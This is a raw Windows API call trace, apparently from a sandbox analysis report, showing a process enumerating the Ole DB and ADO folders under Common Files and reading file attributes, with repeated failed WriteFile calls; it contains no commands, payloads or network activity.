	[0241.132] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200)) returned 1
	[0241.136] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.137] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00)) returned 1
	[0241.150] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0241.171] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.171] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1
	[0241.179] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1
	[0241.180] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.180] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0241.182] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.182] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08)) returned 1
	[0241.212] SetEvent (hEvent=0x124) returned 1
	[0241.212] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.212] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b)) returned 1
	[0241.212] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.212] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0xc000117548 | out: lpFindFileData=0xc000117548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0241.213] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.213] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1
	[0241.213] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.213] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0241.213] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.213] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600)) returned 1
	[0241.230] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.231] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0241.256] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.256] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400)) returned 1
	[0241.258] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.258] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600)) returned 1
	[0241.343] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.344] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200)) returned 1
	[0241.344] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.344] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
